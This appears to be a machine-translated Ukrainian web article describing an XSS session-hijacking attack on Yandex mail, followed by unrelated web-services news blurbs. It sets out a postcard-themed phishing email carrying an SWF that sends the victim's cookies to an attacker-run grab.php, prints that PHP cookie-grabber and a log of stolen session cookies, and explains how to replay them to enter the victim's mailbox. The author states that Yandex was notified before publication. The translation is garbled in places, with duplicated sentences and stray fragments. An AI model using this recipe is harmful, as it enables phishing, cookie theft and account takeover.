<
  • Главная
Статьи

Атака на аккаунт Яндекс.Паспорт

  1. Вступ
  2. Реалізація
  3. висновок

Ця стаття є прикладом того, як можна використовувати уразливість, описану в статті «Обхід JavaScript фільтрів - Flash! Атака »[1]. XSS в веб інтерфейсі пошти дасть можливість атакуючому перехопити сесію аутентифікації і отримати доступ до кореспонденції користувача і налаштувань облікового запису. Для успішної атаки зловмисник повинен створити swf файл здатний перехопити cookies користувача і передати їх скрипту розташованому на сервері атакуючого. Далі атакуючий, отримавши cookies, повинен буде використовувати їх для аутентифікації. Розглянемо всі дії докладно.

Автор: el Nitro
[Elnitro a hattack.ru]
http://hattack.ru

Вступ

Ця стаття є прикладом того, як можна використовувати уразливість, описану в статті «Обхід JavaScript фільтрів - Flash! Атака »[1]. XSS в веб інтерфейсі пошти дасть можливість атакуючому перехопити сесію аутентифікації і отримати доступ до кореспонденції користувача і налаштувань облікового запису. Для успішної атаки зловмисник повинен створити swf файл здатний перехопити cookies користувача і передати їх скрипту розташованому на сервері атакуючого. Далі атакуючий, отримавши cookies, повинен буде використовувати їх для аутентифікації. Розглянемо всі дії докладно.

Реалізація

Для відправки пошти жертві атакуючий буде використовувати цей [2] PHP скрипт. Скрипт відправляє html лист з прикріпленим flash файлом postcard.swf. Зміст листа замаскуємо під листівку. Виберемо, наприклад ось цю http://cards.yandex.ru/previewcard.xhtml?cardid=1797 листівку і створимо її в системі, відправивши самому собі на СВІЙ аккаунт. В результаті отримаємо html код який розсилає справжня листівка і посилання на листівку з привітанням в системі Яндекс листівки. Цим посиланням: виглядає приблизно так:

http://cards.yandex.ru/message.xhtml?id=
8e20df3454e8726331411bcae2c7bf0f

Приклад html-коду листівки:

Привіт, [email protected] Службою яндекс.листівки Вам доставлено повідомлення від користувача: секрет. Для перегляду листівки натисніть на лінк: http://mail.yandex.ru/{POSTCARD} або скопіюйте лінк в віконце "адреса" Вашого браузера ____________________________________________________________ яндекс.листівки http://cards.yandex.ru

, Де замість {POSTCARD} буде поміщена посилання на прикріплений файл postcard.swf.

Жертва, яка отримала послання і відкрила лист побачить щось подібне до цього:

Жертва, яка отримала послання і відкрила лист побачить щось подібне до цього:

Тепер якщо натиснути на посилання обведену червоним, то відкриється листівка розташована за адресою http://cards.yandex.ru/message.xhtml?
id = 8e20df3454e8726331411bcae2c7bf0f і жертва втратить cookies.

Подивимося, що вдає із себе файл postcard.swf:

swf:

Як ми бачимо, javascript передає значення cookies методом GET скрипту grab.php:

---------------------------% <--------------------- ------------- <? php $ cook = $ _GET [ 'cook']; $ Locat = $ _GET [ 'locat']; $ Report = "Cookies: $ cook \ n". "Location: $ locat \ n". "-------------- \ n \ n"; error_log ($ report, 3, "log.txt"); header ( "Location: http://cards.yandex.ru/message.xhtml?id= 8e20df3454e8726331411bcae2c7bf0f"); ?> ---------------------------% <------------------- ---------------

скрипт отримує значення cookies і location і записує їх у файл log.txt:

---------------------------% <--------------------- ------------- Cookies: yabs-frequency = 296972.2: 291605.1: 293272.1: 288871.1: 289898.1: 288848.1: 269794.1: 268616.1: 289013.3: 244013.5: 288082.2: 259961.5: 288833.1: 289217.3: 289810.1: 291604.2 : 288851.1: 292964.2: 289973.1: 289987.1: 290010.1: 296852.2: 297775.1: 288974.1; mail_tag = yandex.ru; yandex_login = isjustatest; my = YwECAAEIAAwABwAVABYADgAA; yandexuid = 2042291113573567; Session_id = 1115790036.75.0.12019287.2: 27846757: 5.13439.63498. 8fef1790dfc6f79ca36b225fa8e0aac6; yandex_fio = Васін Вася; yandex_mail = isjustatest; yandex_nickname =; yafolder = 27846757: 1220000000000292066; mesort = date Location: http://mail.yandex.ru/img?hid=1.1 -------------- ---------------- -----------% <----------------------------------

рядок header ( "Location: http://cards.yandex.ru/message.xhtml?
id = 8e20df3454e8726331411bcae2c7bf0f "); переадресовує браузер клієнта на справжню листівку яку ми створили раніше в системі« яндекс.листівки ».

Для користувача все виглядає зовсім непомітно і необразливо.

Далі зловмисник використовує отримані cookies наприклад за допомогою програми minibrowser [3] в якій cookies можна міняти на льоту:

Далі зловмисник використовує отримані cookies наприклад за допомогою програми minibrowser [3] в якій cookies можна міняти на льоту:

Залишилося натиснути кнопку «Get» і опинитися в поштовій скриньці атакується користувача.

висновок

Варто відзначити, що у випадку з Яндекс, перехоплені cookies діють невеликий проміжок часу (при налаштуванні рівня доступу «Дізнаватися мене, але запитувати авторизацію»), але зустрічаються веб додатки, які зберігають в cookies md5 хеш-кодування від паролів і якщо зловмисник перехопить їх, то зможе користуватися ними багаторазово або спробує розшифрувати пароль.

ps Компанія Яндекс отримала повідомлення про наявність уразливості за кілька днів до публікації цього матеріалу.

[1] «Обхід JavaScript фільтрів - Flash! атака » http://www.securitylab.ru/54476.html
[2] Всі супутні файли можна взяти з http://hattack.ru/xss/yandex-xss_ru.rar
[3] Minibrowser можна скачати за адресою http://hattack.ru/xss/files/minibrowser_2.20.rar

Xhtml?
Xhtml?
Xhtml?
Ru/img?
Xhtml?


Новости
  • Виртуальный хостинг

    Виртуальный хостинг. Возможности сервера распределяются в равной мере между всеми... 
    Читать полностью

  • Редизайн сайта

    Редизайн сайта – это полное либо частичное обновление дизайна существующего сайта.... 
    Читать полностью

  • Консалтинг, услуги контент-менеджера

    Сопровождение любых интернет ресурсов;- Знание HTML и CSS- Поиск и обновление контента;-... 
    Читать полностью

  • Трафик из соцсетей

    Сравнительно дешевый способ по сравнению с поисковым и контекстным видами раскрутки... 
    Читать полностью

  • Поисковая оптимизация

    Поисковая оптимизация (англ. search engine optimization, SEO) — поднятие позиций сайта в результатах... 
    Читать полностью